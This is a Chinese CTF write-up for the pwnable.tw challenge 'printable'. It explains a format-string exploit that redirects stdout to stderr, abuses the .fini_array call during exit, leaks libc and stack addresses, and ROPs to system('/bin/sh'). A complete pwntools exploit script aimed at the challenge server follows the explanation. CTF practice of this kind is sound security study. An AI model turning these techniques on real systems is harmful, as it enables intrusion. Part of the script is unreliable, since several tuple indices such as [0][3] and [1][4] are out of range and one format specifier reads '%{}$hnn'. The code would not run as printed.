Binary Security Researcher, IoT/NFV Sec, Static Program Analysis, Fuzzing Test, CTFer
[pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存
分析题目主要逻辑非常短：int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-90h] unsigned __int64 v4; // [rsp+88h] [rbp-8h] v4 = __readfsqword(0x28u); init_proc(); // set no buf memset(&s, 0, 0x80uLL); // 0x80栈上缓冲区 printf("Input :", 0LL); close(1); // 关闭输出流 // 需要想办法打开或绕过 read(0, &s, 0x80uLL); printf(&s, &s); // 裸的格式化串 exit(0); // 直接exit0，考虑利用fini_array } 在read之前调用了close(1)来关闭stdout流，然后有一个裸的格式化字符串漏洞。由于stderr没有关闭，可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体，此时再调用printf函数时，就可以将内容从stderr流输出来。在调试过程中发现fini_array内存不可写，不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现，在最后exit(0)的执行过程中会出现如下图的一处指令，来调用fini_array[0]处保存的指针：其中r12为&fini_array[0]的值，而rdx固定为0，于是往前找可以找到如下控制r12的指令：r12初始值为&fini_array[0]，然后加上[rbx]的值。而rbx中保存的地址，正是第一次调用printf前，栈上第42个参数的值。于是想到，在格式化字符串利用时写&fini_array[0]与一个可写可控地址（如.bss_start）之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start上，那么最后在exit时就可以构造出call *.bss_start这样的跳转。修改完stdout并返回read片段后的主要任务就是泄露glibc和栈地址。但是由于栈发生了变动，泄露完后不能直接再次返回。很碰巧的是在第二次printf前，栈上第23个变量正好是储存第二次调用printf时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦，直接写该地址，这样当printf执行完后就会直接回到read片段，且栈不会发生大的变化。（这是第二个容易卡住的点）最后一步很明显是借助上面的方法去getshell，但是不知道为何，直接写printf返回地址为one_gadget地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");的rop链。然后把返回地址写为add rsp, 0x80; ret;这样的gadget，从而在printf返回时跳过payload，执行提前布置的rop链来getshell。需要注意的是，最后一次写返回地址需要写长达6个字节，于是我拆分成了3次，每次写2字节。为了保证从小到大地写入三个地址片段（格式化字符串基本概念），我在分出每个片段后做了一次排序。 虽然说修改了stdout指针，但是getshell之后直接cat文件会提示文件描述符错误，需要在指令中重定向一下：cat /home/printable/printable_fl4g 1>&2;。符号>左边为文件描述符，右边如果直接使用2会被认为是重定向到一个名为2的文件，所以需要用&修饰，表示这是一个文件描述符。 思路 改写stdout，改写fini_array偏移到bss_start位置； 泄露栈地址，glibc地址，修改printf返回地址； 修改printf返回地址为add rsp, 0x80; ret;gadget，在格式化串payload后面布置好system("/bin/sh"); rop链. EXP#/usr/bin/python3 from pwn import * import time local_dbg = 1 libc = ELF("./libc_64.so.6") elf = ELF("./printable") context.log_level = "debug" # const ret_addr = 0x400925 #ret->read->printf->... bss_addr = 0x601000 fini_array_0 = 0x600DB8 #fini_array[0] fini_array_1 = 0x600DB8+8 #fini_array[1] bss_stdout = 0x601020 # low bytes: 0x2620->0x2540 libc_csu_fini = elf.symbols[b"__libc_csu_fini"] fini_array_to_bss_offset = bss_addr - fini_array_0 one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567] print("[*] libc_csu_fini:", hex(libc_csu_fini)) print("[*] fini_array_to_bss_offset:", hex(fini_array_to_bss_offset)) def exp(): #gdb.attach(p, "b *0x40094d\nc\n") # build ret & # make stdout->stderr struct & # build fake fini_array in bss_start & payload1 = "%{}c%{}$hhn".format(0x25, 16) #stdout_addr[1] payload1 += "%{}c%{}$hhn".format(0x40-0x25, 17) #stdout_addr[0] payload1 += "%{}$hnn".format(18) #bss_start[2] payload1 += "%{}c%{}$hn".format(fini_array_to_bss_offset-0x40-1, 0x2a) #stack ptr payload1 += "%{}c%{}$hn".format(0x925-fini_array_to_bss_offset, 19) #bss_start[0:2] payload1 = payload1.encode().ljust(0x50, b"\x00") payload1 += p64(bss_stdout+1) #16 payload1 += p64(bss_stdout) #17 payload1 += p64(bss_addr+2) #18 payload1 += p64(bss_addr) #19 p.sendafter("Input :", payload1+b"\n\x00") time.sleep(0.5) # leak libc & stack payload2 = "%{}c%{}$hhn".format(0x25, 0x17) # modify printf's ret addr payload2 += "||%{}$p||%{}$p||".format(0x39, 0x3c) payload2 = payload2.encode() p.send(payload2+b"\x00") p.recvuntil(b"||") stack_leak = int(p.recvuntil(b"||", drop=True), 16) libc_leak = int(p.recvuntil(b"||", drop=True), 16) libc_base = libc_leak - 240 - libc.symbols[b"__libc_start_main"] binsh = libc_base + next(libc.search(b"/bin/sh")) system = libc_base + libc.symbols[b"system"] print("[*] stack_leak:", hex(stack_leak)) print("[*] libc_leak:", hex(libc_leak)) print("[*] libc_base:", hex(libc_base)) print("[*] system:", hex(system)) print("[*] binsh:", hex(binsh)) # ret to system("/bin/sh") ## some gadgets add_rsp_0x80_ret = libc_base + 0x6b4b8 stack_printf_ret = stack_leak - 0x290 pop_rdi_ret = 0x4009c3 print("[*] add_rsp_0x80_ret:", hex(add_rsp_0x80_ret)) print("[*] stack_printf_ret:", hex(stack_printf_ret)) gadget = add_rsp_0x80_ret gadget_addr_parts = { 0 : gadget&0xffff, 1 : (gadget&(0xffff<<16))>>16, 2 : (gadget&(0xffff<<32))>>32 } gadget_addr_parts = sorted(gadget_addr_parts.items(), key=lambda x:x[1]) print("[*] sorted one_gadget addr parts:") for item in gadget_addr_parts: print(item[0], ":", hex(item[1])) ## gadget part payload3 = "%{}c%{}$hn".format( gadget_addr_parts[0][3], 0x13) ## gadget part payload3 += "%{}c%{}$hn".format( gadget_addr_parts[1][4] - gadget_addr_parts[0][5], 0x14) ## gadget part payload3 += "%{}c%{}$hn".format( gadget_addr_parts[2][6] - gadget_addr_parts[1][7], 0x15) payload3 = payload3.encode().ljust(0x30, b"\x00") ## addrs for item in gadget_addr_parts: payload3 += p64(stack_printf_ret+0x2*item[0]) #0x13-0x15 ## rop rop_chain = p64(0x4009c3) + p64(binsh) + p64(system) p.send(payload3 + rop_chain + b"\n\x00") # get shell #cmd = "cat /home/printable/printable_fl4g 1>&2;" p.interactive() action = input("What's next: ") return False if action == "exit" else True if __name__ == "__main__": global p while True: #p = process("./printable", env = {"LD_PRELOAD":"./libc_64.so.6"}) p = remote("chall.pwnable.tw", 10307) try: ret = exp() if ret == False: p.close() break else: p.close() continue except: print("ERROR!") p.close()